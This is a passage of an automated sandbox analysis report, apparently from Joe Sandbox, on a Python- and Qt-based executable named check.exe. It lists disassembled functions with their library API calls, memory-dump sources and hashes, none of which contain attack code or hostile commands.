Part of subcall function 00007FF8123211E0: ?getHWNDForWidget@QApplicationPrivate@@SAPEAUHWND__@@PEBVQWidget@@@Z.QT5WIDGETS(?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812321228
Part of subcall function 00007FF8123211E0: ?allWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ.QT5GUI(?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812321242
Part of subcall function 00007FF8123211E0: ?isTopLevel@QWindow@@QEBA_NXZ.QT5GUI ref: 00007FF812321276
Part of subcall function 00007FF8123211E0: ?type@QWindow@@QEBA?AW4WindowType@Qt@@XZ.QT5GUI ref: 00007FF812321283
Part of subcall function 00007FF8123211E0: ?handle@QWindow@@QEBAPEAVQPlatformWindow@@XZ.QT5GUI ref: 00007FF812321291
Part of subcall function 00007FF8123211E0: GetDesktopWindow.USER32 ref: 00007FF8123212A9
Part of subcall function 00007FF8123211E0: ?dispose@QListData@@SAXPEAUData@1@@Z.QT5CORE ref: 00007FF8123212E3
Part of subcall function 00007FF8123211E0: ??0QMessageLogger@@QEAA@PEBDH0@Z.QT5CORE ref: 00007FF812321366
Part of subcall function 00007FF8123211E0: ?warning@QMessageLogger@@QEBAXPEBDZZ.QT5CORE ref: 00007FF812321376
Part of subcall function 00007FF8123211E0: OpenThemeData.UXTHEME ref: 00007FF8123213DD
Part of subcall function 00007FF8123211E0: ?toLocal8Bit@QString@@QEHAA?AVQByteArray@@XZ.QT5CORE ref: 00007FF81232140F

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Window@@$Logger@@MessagePoint@@Private@@ThemeWidget@@@Window$?all?dispose@?get?handle@?native?type@?warning@ApplicationApplication@@Array@@Bit@ByteD__@@DataData@1@@Data@@DesktopFactor@Level@ListList@Local8MarginsMetricOpenPlatformPointPoint@Qt@@Rect@@ScaleSize@@@String@@StyleType@Widget@Window@@@@WindowsWindows@
String ID:
API String ID: 388137232-0
Opcode ID: 96e6bf3ca54f2f6d227de07fb232d732052bb2d595a7d99f645b1abc6afd1235
Instruction ID: 312e63c2447f604151e4d89a9b65a292b8311764f09dc62dc112942d01a4ac26
Opcode Fuzzy Hash: 96e6bf3ca54f2f6d227de07fb232d732052bb2d595a7d99f645b1abc6afd1235
Instruction Fuzzy Hash: 5EB1E972D1CF8089D3139735A4126F5B369FFAA3D4F119323FD8A62625DB79E5828B00

Function 00007FF8123215D0 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

APIs

?detach_helper@QHashData@@QEAAPEAU1@P6AXPEAUNode@1@PEAX@ZP6AX0@ZHH@Z.QT5CORE ref: 00007FF81232161C
?free_helper@QHashData@@QEAAXP6AXPEAUNode@1@@Z@Z.QT5CORE ref: 00007FF81232164D
?rehash@QHashData@@QEAAXH@Z.QT5CORE ref: 00007FF8123216E4
?allocateNode@QHashData@@QEAAPEAXH@Z.QT5CORE ref: 00007FF812321706

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Data@@Hash$?allocate?detach_helper@?free_helper@?rehash@Node@Node@1@Node@1@@
String ID:
API String ID: 3923398785-0
Opcode ID: 863c7a1c72af95c9c2265efe2a7774039b581fb404593c285ea37a4391ece2c8
Instruction ID: f448469a97edc9b3da51376fdde3d4ec0d3808d775d66763e68ea547f985c520
Opcode Fuzzy Hash: 863c7a1c72af95c9c2265efe2a7774039b581fb404593c285ea37a4391ece2c8
Instruction Fuzzy Hash: 8D517B3AA08E9586DB50CF16E9400AD77A0FB88FE4F198271DE9D47365CFB8E951C740

Function 00007FF812324D48 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF812324DD9
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF812324E15
GetThemeMargins.UXTHEME ref: 00007FF812324E49
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF812324E84

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Rect@@Style@@$?adjusted@?proxy@?visualDirection@LayoutMarginsQt@@Rect@ThemeV2@1@
String ID:
API String ID: 1523045187-0
Opcode ID: 1c5b7769c8eaa51b52e61759b5eded3c703c6f46be1d6aeac07fe474e12bb27a
Instruction ID: 1ee05cd61032c5a650502320baa1ad3ddde72c75ed306f03d62c029c6a813385
Opcode Fuzzy Hash: 1c5b7769c8eaa51b52e61759b5eded3c703c6f46be1d6aeac07fe474e12bb27a
Instruction Fuzzy Hash: 0B416532A08B818BE755CF29E4402EA73B0FB85798F105236EB8D43A65DF7CE595CB00

Function 00007FF8123163F6 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF812316437
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF8123164A0
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF8123164BC
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF81231651F

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: ?adjusted@Rect@@
String ID:
API String ID: 132019423-0
Opcode ID: 8878f415615fb766ad72a2b929c7ee8e3dfd823e13b256f5d78cf4328985a9f6
Instruction ID: 139d1e94571adb3b666412825062282daf8f2e2d27752054ea9409deaf0c5638
Opcode Fuzzy Hash: 8878f415615fb766ad72a2b929c7ee8e3dfd823e13b256f5d78cf4328985a9f6
Instruction Fuzzy Hash: EF515132918BD08AF3228F3CD8052E87770FB5876CF145314EF9916AA9EB79A2C1C704

Function 00007FF812321540 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME(?,?,?,?,00007FF81231131D), ref: 00007FF81232155E
IsAppThemed.UXTHEME(?,?,?,?,00007FF81231131D), ref: 00007FF812321568
?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,?,00007FF81231131D), ref: 00007FF812321572
?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,?,00007FF81231131D), ref: 00007FF81232157D

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: ?instance@ActiveApplication@@CoreDarkMode@Private@@StyleThemeThemedWindows
String ID:
API String ID: 1911171430-0
Opcode ID: 46f76d0cdb2f54ed596c47a7961187234bede8d86bf7312b80ea52cd76aa292f
Instruction ID: 22324af413c25a3575d0f0cd63e10ebb5901ca62a29d31232086b165750e711d
Opcode Fuzzy Hash: 46f76d0cdb2f54ed596c47a7961187234bede8d86bf7312b80ea52cd76aa292f
Instruction Fuzzy Hash: 7E018F68E0DE0386FA654B116A812F112B8AF157F1F6403F5C4CF421B2DFDEA5955641

Function 00007FF812320FDB Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

??0QStyleOptionButton@@QEAA@XZ.QT5WIDGETS ref: 00007FF812320FDF
??4QStyleOption@@QEAAAEAV0@AEBV0@@Z.QT5WIDGETS ref: 00007FF812320FEC
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF812320FFE
??1QStyleOptionTab@@QEAA@XZ.QT5WIDGETS ref: 00007FF81232102B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Option$?proxy@Button@@Option@@Style@@Tab@@V0@@
String ID:
API String ID: 3071743720-0
Opcode ID: 002c4c5a8730c91f6d81aaed243f6961d17e369199c58899c63822fae5c0ea75
Instruction ID: 56c2ac16f582a7a5b8549f74530f821519d1364c1d029186d8a16828e929eef4
Opcode Fuzzy Hash: 002c4c5a8730c91f6d81aaed243f6961d17e369199c58899c63822fae5c0ea75
Instruction Fuzzy Hash: 3C014827608E8185E712CB64E8141ED7370FB88BB9F404232CE4E23668DF38D5CACB00

Function 00007FF812317300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF812325280: IsThemeActive.UXTHEME(?,?,?,?,00007FF812311952), ref: 00007FF812325288
Part of subcall function 00007FF812325280: IsAppThemed.UXTHEME(?,?,?,?,00007FF812311952), ref: 00007FF812325292
Part of subcall function 00007FF812325280: ?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,?,00007FF812311952), ref: 00007FF81232529C
Part of subcall function 00007FF812325280: ?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,?,00007FF812311952), ref: 00007FF8123252A7

?pixelMetric@QWindowsStyle@@UEBAHW4PixelMetric@QStyle@@PEBVQStyleOption@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812317335
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF812317388

Strings

L, xrefs: 00007FF812317351

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Metric@Style@@Windows$?dpi?instance@?pixelActiveApplication@@CoreDarkHelper@@Mode@Option@@Option@@@PixelPrivate@@Scaled@ThemeThemedWidget@@@
String ID: L
API String ID: 3883734864-2909332022
Opcode ID: 4f68c6cafcfac1b6bbd0a44f4701647fa2ce187a0b9f64dc5e316b9149a9fda3
Instruction ID: 3529fe4ba30a3a718275011b26427dce16f5af4110e1e0ae35aead4f84b92ac8
Opcode Fuzzy Hash: 4f68c6cafcfac1b6bbd0a44f4701647fa2ce187a0b9f64dc5e316b9149a9fda3
Instruction Fuzzy Hash: 1811E510E5CF42C5F66EC61660840FD5250AF45BE0F2C4BB2EE4E937B6DFACE9814640

Function 00007FF812325520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

?qt_metacast@QBlendStyleAnimation@@UEAAPEAXPEBD@Z.QT5WIDGETS ref: 00007FF81232558D

Strings

QWindowsVistaAnimation, xrefs: 00007FF81232555A
QWindowsVistaTransition, xrefs: 00007FF812325536

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: ?qt_metacast@Animation@@BlendStyle
String ID: QWindowsVistaAnimation$QWindowsVistaTransition
API String ID: 1434549917-1652069576
Opcode ID: f9bb27d5a4cbf5a13fb69142f175957e5c890f340bd4d2ea051f7f17ee0b4355
Instruction ID: 55bd0d54b92f3e54ffab90be3e9b174d38e0f655a010a57d35be26a2b76fc3c6
Opcode Fuzzy Hash: f9bb27d5a4cbf5a13fb69142f175957e5c890f340bd4d2ea051f7f17ee0b4355
Instruction Fuzzy Hash: B501D184E08E8704EE4D476A68101F029E67F95BE2FA882B9DD4F423B4EEBC53048200

Analysis Process: check.exePID: 6132, Parent PID: 2936COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	128
Total number of Limit Nodes:	10

Executed Functions

Function 00007FF810C44760 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyImport_ImportModuleLevelObject.PYTHON313 ref: 00007FF810C44791
PyObject_GetAttr.PYTHON313 ref: 00007FF810C447DD
PyUnicode_FromFormat.PYTHON313 ref: 00007FF810C447FD
PyObject_GetItem.PYTHON313 ref: 00007FF810C44815
_Py_Dealloc.PYTHON313 ref: 00007FF810C4482C
PyDict_SetItem.PYTHON313 ref: 00007FF810C4484D
PyObject_SetItem.PYTHON313 ref: 00007FF810C44855
_Py_Dealloc.PYTHON313 ref: 00007FF810C4486B
PyErr_Clear.PYTHON313 ref: 00007FF810C4489B
PyModule_GetFilenameObject.PYTHON313 ref: 00007FF810C448A4
PyUnicode_FromFormat.PYTHON313 ref: 00007FF810C448C2
PyErr_SetImportError.PYTHON313 ref: 00007FF810C448D9
_Py_Dealloc.PYTHON313 ref: 00007FF810C448ED
_Py_Dealloc.PYTHON313 ref: 00007FF810C44901
_Py_Dealloc.PYTHON313 ref: 00007FF810C44915

Strings

cannot import name %R from %R (%S), xrefs: 00007FF810C448B2
%U.%U, xrefs: 00007FF810C447F3

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$ItemObject_$Err_FormatFromImportObjectUnicode_$AttrClearDict_ErrorFilenameImport_LevelModuleModule_
String ID: %U.%U$cannot import name %R from %R (%S)
API String ID: 3630264407-438398067
Opcode ID: aea79ed82b41080dcdede2459c0bc734a1ab5dbcbebbb0792b6c7292410103bd
Instruction ID: 6127e5bfa7b21aba5744f2f82cb1dd54d7b2b5382ce758650d97ff2b45e7adc3
Opcode Fuzzy Hash: aea79ed82b41080dcdede2459c0bc734a1ab5dbcbebbb0792b6c7292410103bd
Instruction Fuzzy Hash: 44512035A08E8285EB548F12AD5427AB3A5BF65BF5F544234CE8ECBB94DF3CE1458B00

Function 00007FF810CFECC0 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

read_state_machine, xrefs: 00007FF810CFEF4D, 00007FF810CFEF8A, 00007FF810CFEFB2, 00007FF810CFF025
..\s\ssl\statem\statem.c, xrefs: 00007FF810CFEF54, 00007FF810CFEF91, 00007FF810CFEFBE, 00007FF810CFF031

Memory Dump Source

Source File: 0000001D.00000002.2002809400.00007FF810CA1000.00000020.00000001.01000000.00000059.sdmp, Offset: 00007FF810CA0000, based on PE: true

Associated: 0000001D.00000002.2002508710.00007FF810CA0000.00000002.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2002809400.00007FF810D23000.00000020.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003339846.00007FF810D25000.00000002.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003450448.00007FF810D4D000.00000004.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003543838.00007FF810D52000.00000002.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003543838.00007FF810D58000.00000002.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003543838.00007FF810D60000.00000002.00000001.01000000.00000059.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810ca0000_check.jbxd

Similarity

API ID:
String ID: ..\s\ssl\statem\statem.c$read_state_machine
API String ID: 0-3323778802
Opcode ID: c8972936501a879b7e84c5051af7770807ba9d65b882bacb7b5450dec163fd8f
Instruction ID: 8a09019621375e5fdeb8714eda3a5bc65e379b148ab7a4f264f217bc71ae520a
Opcode Fuzzy Hash: c8972936501a879b7e84c5051af7770807ba9d65b882bacb7b5450dec163fd8f
Instruction Fuzzy Hash: 94915A31A09E4682FB50AB25EC503B927A1EF80BE8F584336DA0D47795DF3DE446CB41

Function 00007FF810C49263 Relevance: 19.6, APIs: 13, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF810C442E0: PyUnicode_FromStringAndSize.PYTHON313 ref: 00007FF810C443E9
Part of subcall function 00007FF810C442E0: PyUnicode_InternInPlace.PYTHON313 ref: 00007FF810C44402

_Py_Dealloc.PYTHON313 ref: 00007FF810C492CB
_Py_Dealloc.PYTHON313 ref: 00007FF810C49300
_Py_Dealloc.PYTHON313 ref: 00007FF810C49318
_Py_Dealloc.PYTHON313 ref: 00007FF810C4933B
_Py_Dealloc.PYTHON313 ref: 00007FF810C4935E
_Py_Dealloc.PYTHON313 ref: 00007FF810C49381
_Py_Dealloc.PYTHON313 ref: 00007FF810C493A4
_Py_Dealloc.PYTHON313 ref: 00007FF810C493C7
_Py_Dealloc.PYTHON313 ref: 00007FF810C493EA
_Py_Dealloc.PYTHON313 ref: 00007FF810C4940D
_Py_Dealloc.PYTHON313 ref: 00007FF810C49430
_Py_Dealloc.PYTHON313 ref: 00007FF810C49453
_Py_Dealloc.PYTHON313 ref: 00007FF810C49476

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Unicode_$FromInternPlaceSizeString
String ID:
API String ID: 2745024575-0
Opcode ID: e3abe80e124aa434e129e5a5323edaca9fc8b80d125148bed174b3bde365830c
Instruction ID: 3d45922dd1f684d216c2083fbfd432b559aa95fd32c7e516c68206581a2d8b59
Opcode Fuzzy Hash: e3abe80e124aa434e129e5a5323edaca9fc8b80d125148bed174b3bde365830c
Instruction Fuzzy Hash: 9171D639E0AE2285FB598F65AD541B433A4FF65BF4F148730C58E8ABA0DE2DA4418F10

Function 00007FF810CFF6B0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3(?,?,FFFFFFFF,00000000,00007FF810CFF416), ref: 00007FF810CFF762
ERR_set_debug.LIBCRYPTO-3(?,?,FFFFFFFF,00000000,00007FF810CFF416), ref: 00007FF810CFF77A

Strings

write_state_machine, xrefs: 00007FF810CFF76C, 00007FF810CFFA5B
..\s\ssl\statem\statem.c, xrefs: 00007FF810CFF773, 00007FF810CFFA62

Memory Dump Source

Source File: 0000001D.00000002.2002809400.00007FF810CA1000.00000020.00000001.01000000.00000059.sdmp, Offset: 00007FF810CA0000, based on PE: true

Associated: 0000001D.00000002.2002508710.00007FF810CA0000.00000002.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2002809400.00007FF810D23000.00000020.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003339846.00007FF810D25000.00000002.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003450448.00007FF810D4D000.00000004.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003543838.00007FF810D52000.00000002.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003543838.00007FF810D58000.00000002.00000001.01000000.00000059.sdmpDownload File
Associated: 0000001D.00000002.2003543838.00007FF810D60000.00000002.00000001.01000000.00000059.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810ca0000_check.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem.c$write_state_machine
API String ID: 193678381-552286378
Opcode ID: e5d1fe94fccde403d4ccffd35c49600b4c13cc4e7178492653a3fc2a8d140b00
Instruction ID: 69dfd352f03f9d5d30d8f4276ddff9f74ddc64b887ce68d64377e07ad6594be6
Opcode Fuzzy Hash: e5d1fe94fccde403d4ccffd35c49600b4c13cc4e7178492653a3fc2a8d140b00
Instruction Fuzzy Hash: 0DA16E32A0CE4782EB649F25D8543B92360EF80BE8F444236DA4D47795DF7CE946CB42

Function 00007FF810C71000 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyImport_ImportModule.PYTHON313 ref: 00007FF810C7100B
_Py_Dealloc.PYTHON313 ref: 00007FF810C71024
PyCapsule_Import.PYTHON313 ref: 00007FF810C71033

Strings

charset_normalizer.md__mypyc, xrefs: 00007FF810C71004
charset_normalizer.md__mypyc.init_charset_normalizer___md, xrefs: 00007FF810C7102C

Memory Dump Source

Source File: 0000001D.00000002.2001656157.00007FF810C71000.00000020.00000001.01000000.0000005C.sdmp, Offset: 00007FF810C70000, based on PE: true

Associated: 0000001D.00000002.2001594326.00007FF810C70000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001720279.00007FF810C72000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001784985.00007FF810C74000.00000002.00000001.01000000.0000005C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c70000_check.jbxd

Similarity

API ID: Import$Capsule_DeallocImport_Module
String ID: charset_normalizer.md__mypyc$charset_normalizer.md__mypyc.init_charset_normalizer___md
API String ID: 1394619730-824592145
Opcode ID: 5974c19f225ccfaa67e8cfdf14026b0452581abd6b019d6115b8283005d03241
Instruction ID: 412d06f5fbb66fe03610cb0a5350d6ec22dcdaead964409399815199797cda8d
Opcode Fuzzy Hash: 5974c19f225ccfaa67e8cfdf14026b0452581abd6b019d6115b8283005d03241
Instruction Fuzzy Hash: 20E0ED21E09D42C2EB599B159C4427423A3BF95BB1F858635C90DC2392EE3CA995CF10

Function 00007FF8104B2B00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Py_Dealloc.PYTHON3 ref: 00007FF8104B2BB5

Part of subcall function 00007FF810559D18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8104312CB), ref: 00007FF810559D32

??GQPainterPath@@QEBA?AV0@AEBV0@@Z.QT5GUI ref: 00007FF8104B2B72

Strings

J9J9, xrefs: 00007FF8104B2B2D

Memory Dump Source

Source File: 0000001D.00000002.1996509685.00007FF810431000.00000020.00000001.01000000.00000063.sdmp, Offset: 00007FF810430000, based on PE: true

Associated: 0000001D.00000002.1996445398.00007FF810430000.00000002.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1996792938.00007FF81055B000.00000002.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1996957214.00007FF810618000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997001690.00007FF81061A000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997083417.00007FF81061E000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997133269.00007FF810626000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997178790.00007FF810632000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997218759.00007FF810638000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997267262.00007FF81063A000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997309650.00007FF810645000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997354099.00007FF810651000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997396175.00007FF810657000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997437089.00007FF810658000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997507269.00007FF81066C000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997612353.00007FF81066D000.00000008.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997685059.00007FF81066E000.00000004.00000001.01000000.00000063.sdmpDownload File
Associated: 0000001D.00000002.1997835255.00007FF810670000.00000002.00000001.01000000.00000063.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810430000_check.jbxd

Similarity

API ID: DeallocPainterPath@@V0@@malloc
String ID: J9J9
API String ID: 3358426265-2881787613
Opcode ID: 397f20297a745331685ad4fe260f2d81337722706534342931fde31b935acf1f
Instruction ID: 9a94a521d8447972860dbfff363af91e22b77681bb1c648378fb88e472fd1517
Opcode Fuzzy Hash: 397f20297a745331685ad4fe260f2d81337722706534342931fde31b935acf1f
Instruction Fuzzy Hash: 03213532A08F4582EB408F16FC982A973A5FB88BE4F554236DE5D477A4DE3CE4958B40

Function 00007FF810C52BDD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

